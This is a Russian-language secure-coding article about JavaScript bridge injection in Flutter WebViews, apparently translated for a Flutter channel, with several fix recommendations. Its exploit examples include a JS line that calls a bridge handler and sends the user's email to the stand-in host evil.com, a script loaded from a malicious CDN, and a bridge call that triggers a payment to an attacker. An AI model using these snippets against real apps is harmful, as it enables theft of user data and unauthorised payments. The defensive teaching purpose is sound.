Часть 11: Внедрение JavaScript Bridge в WebView — как Flutter позволяет выполнять код Dart из JS
FlutterPulseЭта статья переведена специально для канала FlutterPulse. В этом канале вы найдёте много интересных вещей, связанных с Flutter. Не забывайте подписываться! 🚀

Многие приложения Flutter встраивают веб-контент через WebView, что обеспечивает бесшовную интеграцию с внешними страницами, платежными шлюзами или справочными центрами приложений.
Но если вы используете WebView с включенным JavaScript, и вы хотите открыть мост JS-to-Dart, вы открываете дверь к одному из самых опасных уязвимостей мобильных приложений:
Инъекция JavaScript Bridge — где вредоносные веб-страницы запускают выполнение родного кода Dart/Java/Kotlin внутри WebView.
Давайте разберемся, как это работает, как атакующие используют это и как избежать превращения вашего приложения Flutter в удаленный двигатель выполнения.

Какова проблема?
WebView Flutter (например, flutter_inappwebview) позволяет родной ↔ веб-коммуникации, используя:
addJavaScriptHandler()в DartaddJavascriptInterface()в Android Javawindow.webkit.messageHandlersв iOS
Если эти интерфейсы暴 открыты небезопасному контенту, они могут быть злоупотреблены для:
- Выполнение родного кода
- Запуск чувствительных функций приложения
- Доступ к данным вне WebView
️️ Реальные сценарии эксплуатации
Эксплуатация 1: Внедрение вредоносного JS через внешний сайт
Предположим, ваше приложение открывает:
InAppWebView(
initialUrlRequest: URLRequest(url: Uri.parse("https://example.com")),
onWebViewCreated: (controller) {
controller.addJavaScriptHandler(
handlerName: "getUserInfo",
callback: (args) {
return getUserEmail(); // метод Dart/родной код
},
);
},
);
Если https://example.com скомпрометирован или включает в себя 3-сторонние скрипты, атакующий внедряет:
window.flutter_inappwebview.callHandler('getUserInfo')
.then(userEmail => {
fetch('https://evil.com/log?e=' + userEmail);
});
Результат: Данные вашего пользователя перехватываются.
Эксплуатация 2: Загрузка локального HTML с внешним JS
Даже если вы загрузите assets/help.html, если оно включает:
<script src="https://cdn.badcdn.com/malicious.js"></script>
…удаленный скрипт может вызвать window.flutter_inappwebview.callHandler() для запуска кода Dart.
Эксплойт 3: Обратная связь родного интерфейса в Android WebView
Если использовать addJavascriptInterface() как это:
webView.addJavascriptInterface(new JSBridge(), "Android");
…тогда любой код JS на странице может вызвать:
Android.doPayment("999", "attacker");
И родной код будет выполнен.
Реальное влияние

Уровень риска: КРИТИЧЕСКИЙ
️ Как исправить
Исправление 1: Никогда не обнажать обработчики JavaScript для непроверенных страниц
Ограничить мосты JS только доверенными, локальными HTML или закодированными активами.
Плохо:
InAppWebView(url: "https://user-site.com");
с обработчиком:
controller.addJavaScriptHandler(handlerName: "getUserData", callback:...)
Исправление 2: Внедрение белого списка происхождения
Прежде чем выполнять что-либо из обработчика JS, проверьте происхождение:
callback: (args) {
if (allowedOrigins.contains(currentUrl)) {
return getUserToken();
} else {
return null;
}
}
Или откройте обработчики только для ресурсов localhost/internal.
Исправление 3: Отключить JavaScript, если это не требуется
Установить:
initialOptions: InAppWebViewGroupOptions( crossPlatform: InAppWebViewOptions(javaScriptEnabled: false), )
Включайте JS только для страниц, которые вы полностью контролируете.
Исправление 4: Никогда не доверяйте аргументам из JavaScript
Проверьте и очистите все, что поступает из обработчиков JS:
controller.addJavaScriptHandler(
handlerName: "makeTransfer",
callback: (args) {
final amount = double.tryParse(args[0]);
if (amount == null || amount > maxLimit) return;
return transferToUser(amount);
},
);
Исправление 5: Отключить или ограничить отладку WebView в производстве
if (BuildConfig.DEBUG) {
WebView.setWebContentsDebuggingEnabled(true);
}
В производстве это всегда должно быть false.
Анти-шаблоны, которых следует избегать

Чек-лист для разработчиков
- Открывать обработчики JS только для доверенных статических HTML
- Избегать загрузки недоверенных или сгенерированных пользователем URL-адресов в WebView
- Проверять все входные данные из JS перед выполнением родного кода
- Отключать JavaScript в WebView по умолчанию
- Предотвращать отладку WebView в сборках для производства
- Использовать CSP (Content-Security-Policy) в локальном HTML, когда это возможно
- Никогда не выполнять произвольные обратные вызовы Dart/JS без строгой проверки